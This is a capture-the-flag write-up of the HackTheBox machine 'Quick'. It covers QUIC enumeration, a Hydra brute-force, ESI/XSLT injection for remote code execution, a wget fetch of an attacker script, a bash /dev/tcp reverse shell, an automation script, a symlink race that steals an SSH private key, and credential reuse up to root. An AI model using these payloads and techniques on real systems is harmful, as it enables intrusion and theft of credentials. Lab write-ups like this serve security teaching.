Summary Quick,a Linux box created by HackTheBox user MrR3boot , was an overall hard difficulty box. Initial foothold was finding a password from HTTPS-over-UDP
and bruteforce the login. And exploiting Esigate to get an RCE and get User by that. Getting Second user was exploiting a Race Condition and get the second user and looking in the conf.d we get a password using that on root give us Root.
Initial Scan nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-26 00:31 IST Nmap scan report for 10.10.10.186 Host is up (0.26s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA) | 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA) |_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519) 9001/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_ http-title: Quick | Broadband ServicesService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 106.98 seconds
Running Gobuster and manually enumerating we find a domain name on the home page as
1 2 3 4 5 6 7 /index .php (Status : 200 ) /search.php (Status : 200 ) /home.php (Status : 200 ) /login.php (Status : 200 ) /clients.php (Status : 200 ) /db.php (Status : 200 ) /ticket.php (Status : 200 )
visiting that give us an error.
also we find an login form trying sqlmap
don’t reveal anything
looking at the request header we see that the application is reverse proxy by Esigate based on the header X-Powered-By: Esigate
Running VHost Scan 1 wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.quick.htb' -u http://10.10.10.186
saw that page is crashing with
1 000000690 : 500 82 L 188 W 5297 Ch "gc._msdcs"
so trying in the request we see we can crash the server if we send _ in the host header But playing around with this for hours don’t lead me anywhere
Running nmap again on UDP reveal
nmap UDP 1 2 3 4 5 6 7 8 9 10 Nmap scan report for portal.quick.htb (10.10 .10 .186 ) Host is up (0.35 s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 443 /udp open |filtered https Service detection performed. Please report any incorrect results at https ://nmap.org/submit/ .
HTTPS over UDP Reading about https we learn about a protocol as quic which tell us more about this. quiche-client we are able to dump a password as Quick4cc3$$
installed using
1 2 git clone --recursive https://github.com/cloudflare/quiche cargo build --examples
similarly i read more files using
1 cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://portal.quick.htb/index.php?view=about
leaks few emails and
1 cargo run --manifest-path=tools/apps/Cargo.toml --bin quiche-client -- --no-verify https://portal.quick.htb/index.php?view=docs
give us some documents one of which contain the password.
Generating emails i used all the names i got and some common like admin
, sysadmin
, itadmin
and some names from the index.php
client testimonial as tim
,roy
,elisa
and james
.
And created some domains from client.php
company names as
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 qconsulting.uk qconsulting.com qconsulting.pvt .ltd .uk qconsulting.pvt .ltd .com qconsulting.pvt .ltd qconsulting.pvt .com darkwingsolutions.us darkwingsolutions.com darkwingsol.us darkwingsol.com darkwing.us darkwing.com wink.us wink.uk wink.co .uk wink.org .uk wink.me .uk wink.com lazycoop.cn lazycoop.com lazycoop.pvt .ltd .cn lazycoop.pvt .ltd .com lazycoop.pvt .ltd lazycoop.pvt .com ScoobyDoo.it ScoobyDoo.com PenguinCrop.fr PenguinCrop.com
and create a list of emails and use them to brute-force the login with the hydra using the following command.
1 hydra -L emailList.txt -p 'Quick4cc3$$' -s 9001 $IP http-post-form "/login.php:email=^USER^&password=^PASS^:Invalid Credentials"
1 [9001] [http-post-form] host: 10.10 .10.186 login: elisa@wink.co .uk password: Quick4cc3$$
which give us a valid credential for login.php
as elisa@wink.co.uk:Quick4cc3$$
logging in and trying the credentials we see an XSS on the search. but trying few things don’t lead me anywhere.
Going back to Esigate we see an issue as issue which lead me to a blog
Playing around with the details i have i got an RCE with
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /ticket.php HTTP/1.1 Host : quick.htb:9001User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : en-US,en;q=0.5Accept-Encoding : gzip, deflateReferer : http://quick.htb:9001/ticket.phpContent-Type : application/x-www-form-urlencodedContent-Length : 109Connection : closeCookie : PHPSESSID=7uur1ksi5b0pok3jn4kfia3d3qUpgrade-Insecure-Requests : 1title =te&msg=a&id=<esi:include src ="http://10.10.14.48/q.xml" stylesheet ="http://10.10.14.48/q.xsl" ></esi:include>
and ping.xsl
as
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:output method ="xml" omit-xml-declaration ="yes" /> <xsl:template match ="/" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" ><root > <xsl:variable name ="cmd" > <![CDATA[ping -c 1 10.10.14.48]]></xsl:variable > <xsl:variable name ="rtObj" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtObj, $cmd)" /> Process: <xsl:value-of select ="$process" /> Command: <xsl:value-of select ="$cmd" /> </root > </xsl:template > </xsl:stylesheet >
ping.xml
as
1 2 3 <?xml version="1.0" ?> </xml >
which gave me a ping back.
After playing around for sometime we see we cannot pipe commands.
So I thought of breaking that in 3 Steps
USER We can use the RCE to get a shell as the user
STEP 1: Download a payload.sh on the box by creating a new xsl file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:output method ="xml" omit-xml-declaration ="yes" /> <xsl:template match ="/" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" ><root > <xsl:variable name ="cmd" > <![CDATA[wget http://10.10.14.48/payload.sh]]></xsl:variable > <xsl:variable name ="rtObj" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtObj, $cmd)" /> Process: <xsl:value-of select ="$process" /> Command: <xsl:value-of select ="$cmd" /> </root > </xsl:template > </xsl:stylesheet >
STEP 2: chmod +x payload.sh on the box
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:output method ="xml" omit-xml-declaration ="yes" /> <xsl:template match ="/" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" ><root > <xsl:variable name ="cmd" > <![CDATA[chmod +x ./payload.sh]]></xsl:variable > <xsl:variable name ="rtObj" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtObj, $cmd)" /> Process: <xsl:value-of select ="$process" /> Command: <xsl:value-of select ="$cmd" /> </root > </xsl:template > </xsl:stylesheet >
STEP 3: Have a listener running and execute the script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:output method ="xml" omit-xml-declaration ="yes" /> <xsl:template match ="/" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:rt ="http://xml.apache.org/xalan/java/java.lang.Runtime" ><root > <xsl:variable name ="cmd" > <![CDATA[./payload.sh]]></xsl:variable > <xsl:variable name ="rtObj" select ="rt:getRuntime()" /> <xsl:variable name ="process" select ="rt:exec($rtObj, $cmd)" /> Process: <xsl:value-of select ="$process" /> Command: <xsl:value-of select ="$cmd" /> </root > </xsl:template > </xsl:stylesheet >
NOTE: for each of the steps you will need a similar .xml file. Also you will need to have a new filename after each stage as the server cache the name and will hit with http://10.10.14.48/http://10.10.14.48/x.xsl
instead of http://10.10.14.48/x.xsl
so changing filename with each request make it work.
for payload.sh i used a simple bash reverse shell in payload.sh as
1 2 #!/bin/bash bash -c "bash -i >& /dev/tcp/10.10.14.48/9001 0>&1"
1 2 3 4 5 6 sam@quick:~$ whoami ;hostname;cat user.txt whoami ;hostname;cat user.txtsam quick a5448885fe6fbfdc9f75e74be12dacba sam@quick:~$
I also wrote a script to automate that and get a shell.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport jsonIP="10.10.10.186" HOSTIP="10.10.14.48" PORT=9001 username="elisa@wink.co.uk" passw="Quick4cc3$$" def login (email,password ): url = "http://" +IP+":" +str (PORT)+"/login.php" payload={"email" :email,"password" :password} headers= {"Referer" : "http://quick.htb:9001/login.php" ,"Host" : "quick.htb:9001" } response = requests.post(url,headers=headers, data=payload,allow_redirects=False ) cookie = response.headers['Set-Cookie' ] cookie = cookie.split(";" )[0 ] return cookie def create_ticket (filename,c ): c = c.split("=" ) cookie={c[0 ]:c[1 ]} url = "http://" +IP+":" +str (PORT)+"/ticket.php" id ="""<esi:include src="http://""" +HOSTIP+"""/""" +filename+""".xml" stylesheet="http://""" +HOSTIP+"""/""" +filename+""".xsl"></esi:include>""" payload = {"title" :"test" ,"msg" :"test" ,"id" :id } response = requests.post(url, data=payload,cookies=cookie,allow_redirects=False ) cookie = login(username,passw) create_ticket("upload" ,cookie) create_ticket("chmod" ,cookie) create_ticket("execute" ,cookie)
along with www serving that zip by a python server.
Privilege Escalation Looking in the DB we find users hash for Server Admin
as e626d51f8fbfd1124fdea88396c35d05
i wrote a simple php script to crack that
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $hash = 'e626d51f8fbfd1124fdea88396c35d05' ;$fn = fopen ("/usr/share/wordlists/rockyou.txt" ,"r" );while (! feof ($fn )) { $password = fgets ($fn ); $password = trim ($password ); $computedHash = md5 (crypt ($password ,'fa' )); if ($hash == $computedHash ){ echo "Password Found: " . $password ."\n" ; fclose ($fn ); exit (0 ); } } fclose ($fn );?>
we get password yl51pbx
so we have a valid creds as srvadm@quick.htb:yl51pbx
enumerating the box we find that there is another subdomain running on apache2 and that is running as srvadm
reading the code on jobs.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 <?php require __DIR__ . '/escpos-php/vendor/autoload.php' ;use Mike42 \Escpos \PrintConnectors \NetworkPrintConnector ;use Mike42 \Escpos \Printer ;include ("db.php" );session_start ();if ($_SESSION ["loggedin" ]){ if (isset ($_POST ["submit" ])) { $title =$_POST ["title" ]; $file = date ("Y-m-d_H:i:s" ); file_put_contents ("/var/www/jobs/" .$file ,$_POST ["desc" ]); chmod ("/var/www/printer/jobs/" .$file ,"0777" ); $stmt =$conn ->prepare ("select ip,port from jobs" ); $stmt ->execute (); $result =$stmt ->get_result (); if ($result ->num_rows > 0 ) { $row =$result ->fetch_assoc (); $ip =$row ["ip" ]; $port =$row ["port" ]; try { $connector = new NetworkPrintConnector ($ip ,$port ); sleep (0.5 ); $printer = new Printer ($connector ); $printer -> text (file_get_contents ("/var/www/jobs/" .$file )); $printer -> cut (); $printer -> close (); $message ="Job assigned" ; unlink ("/var/www/jobs/" .$file ); } catch (Exception $error ) { $error ="Can't connect to printer." ; unlink ("/var/www/jobs/" .$file ); } } else { $error ="Couldn't find printer." ; } } ?> <!DOCTYPE html><html lang="en" > <head> <meta charset="utf-8" > <meta http-equiv="X-UA-Compatible" content="IE=edge" > <meta name="viewport" content="width=device-width, initial-scale=1" > <title>Quick | POS Print Server</title> <link rel="stylesheet" href="css/bulma.min.css" > <link rel="stylesheet" href="css/style.css" > </head> <body> <div class ="wrapper "> <section class ="hero is -info "> <div class ="hero -head "> <header class ="nav "> <div class ="container "> <div class ="nav -left "> <a href ="home .php " class ="nav -item "> Quick | POS Print Server </a > </div > <div class ="nav -right "> <a href ="printers .php " class ="nav -item is -active "> Printers </a > <a href ="add_printer .php " class ="nav -item "> Add Printer </a > </div > </div > </header > </div > <div class ="hero -body "> <div class ="container has -text -centered "> <h2 class ="subtitle "> An application for printing POS receipts . </h2 > </div > </div > </section > <div class ="hero is -light has -text -centered "> <div class ="hero -body heading "> <h1 class ="title " style ="margin -bottom :0;">Print Jobs </h1 > </div > </div > <section class ="section "> <div class ="container "> <?php if ($message ) { echo '<div class="notification is-success">' .$message .'</div>' ; } ?> <?php if ($error ) { echo '<div class="notification is-danger">' .$error .'</div>' ; } ?> <p class ="subtitle ">Please assign a job to printer .</p > <form action ="job .php " method ="post " accept -charset ="utf -8"> <div class ="field is -horizontal "> <div class ="field -label is -normal "> <label class ="label " for ="receipt_printer ">Bill & Receipt Printer </label > </div > <div class ="field -body "> <div class ="field "> <div class ="control "> <div class ="select is -fullwidth "> <select name ="title " id ="receipt_printer "> <?php echo '<option value ="'.$_GET ["title "].'" selected ="selected ">'.$_GET ["title "].'</option >'; ?> </select > </div > </div > </div > </div > </div > <div class ="field is -horizontal "> <div class ="field -label is -normal "> <label class ="label " for ="order_printers ">Bill Details </label > </div > <div class ="field -body "> <div class ="field "> <div class ="control "> <div class ="select multiple is -fullwidth "> <textarea name ="desc " rows ="7" cols ="105"></textarea > </div > </div > </div > </div > </div > <div class ="field is -horizontal " style ="margin -top :10px ;"> <div class ="field -label "></div > <div class ="field -body "> <div class ="field "> <div class ="control "> <button type ="submit " name ="submit " class ="button is -primary "> Print </button > </div >using </div > </div > </div > </form > </div > </section > </div > <footer class ="footer "> <div class ="container "> <p > <span class ="icon is -pulled -right "> </span > © ; <?= date ('Y '); ?> @ quick .htb </p > </div > </footer > <script type ="text /javascript " src ="js /script .js "></script > <script type ="text /javascript "> var printers = <?= !empty ($printers ) ? json_encode ($printers ) : ' {}'; ?>; </script> </body> </html> <?php } else { echo ' <script>alert ("Invalid Username/Password" );window.location.href="index.php" ;</script>'; }?>
we see a race condition so i created a script to remove the latest file and replace that with symlink of srvadm id_rsa
1 while true ;do latest=$(find $(pwd ) -print0 |xargs -r -0 ls -1 -t |head -1);rm -f $latest ;ln -s /home/srvadm/.ssh/id_rsa $latest ;done ;
And running nc -nvlkp 9100
on our local machine to receive the key.
Login to the printerv2 adding a printer and then printing a job give us the id_rsa for srvadm
now we can ssh on the box as srvadm
using
1 ssh -i ./srvadm.key srvadm@$IP
Enumerating we see there are files in ~/.cache
and grepping on ~/.cache/conf.d
we see that we see a password
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 srvadm@quick:~/.cache/conf.d$ grep -ir print printers.conf: # Printer configuration file for CUPS v2.3.0 printers.conf: NextPrinterId 5 printers.conf: <Printer Aviatar>printers.conf: PrinterId 1 printers.conf: ErrorPolicy stop-printerprinters.conf: Option print-color-mode colorprinters.conf: Option print-quality 5 printers.conf: </Printer>printers.conf: <Printer OLD_Aviatar>printers.conf: PrinterId 2 printers.conf: DeviceURI https://srvadm%40 quick.htb:%26 ftQ4K3SGde8%3 F@printerv3.quick.htb/printerprinters.conf: ErrorPolicy stop-printerprinters.conf: Option print-color-mode colorprinters.conf: Option print-quality 5 printers.conf: </Printer>printers.conf: <DefaultPrinter PA-7032 >printers.conf: PrinterId 3 printers.conf: ErrorPolicy stop-printerprinters.conf: </DefaultPrinter>printers.conf: <Printer PDF_Printer>printers.conf: PrinterId 4 printers.conf: Info Virtual PDF Printerprinters.conf: MakeModel Generic CUPS-PDF Printerprinters.conf: ErrorPolicy stop-printerprinters.conf: </Printer>cupsd.conf: # Show shared printers on the local network. cupsd.conf: # Set the default printer/job policies... cupsd.conf: <Limit Create-Job Print-Job Print-URI Validate-Job>cupsd.conf: <Limit CUPS-Add -Modify-Printer CUPS-Delete-Printer CUPS-Add -Modify-Class CUPS-Delete-Class CUPS-Set -Default CUPS-Get-Devices>cupsd.conf: # All printer operations require a printer operator to authenticate... cupsd.conf: <Limit Pause-Printer Resume-Printer Enable-Printer Disable-Printer Pause-Printer-After-Current-Job Hold-New-Jobs Release-Held-New-Jobs Deactivate-Printer Activate-Printer Restart-Printer Shutdown-Printer Startup-Printer Promote-Job Schedule-Job-After Cancel-Jobs CUPS-Accept-Jobs CUPS-Reject-Jobs>cupsd.conf: # Set the authenticated printer/job policies... cupsd.conf: <Limit Create-Job Print-Job Print-URI Validate-Job>cupsd.conf: <Limit CUPS-Add -Modify-Printer CUPS-Delete-Printer CUPS-Add -Modify-Class CUPS-Delete-Class CUPS-Set -Default>cupsd.conf: # All printer operations require a printer operator to authenticate... cupsd.conf: <Limit Pause-Printer Resume-Printer Enable-Printer Disable-Printer Pause-Printer-After-Current-Job Hold-New-Jobs Release-Held-New-Jobs Deactivate-Printer Activate-Printer Restart-Printer Shutdown-Printer Startup-Printer Promote-Job Schedule-Job-After Cancel-Jobs CUPS-Accept-Jobs CUPS-Reject-Jobs>
Give us URL Encoded URL which contain a password URL Decoding that we see the link as
1 https://sr vadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer
and can grab the password as &ftQ4K3SGde8?
using that we can su
as root
1 2 3 4 5 root@quick :~ root quick 0 aeeb93db61a46root@quick :~
and we have pwned Quick
💃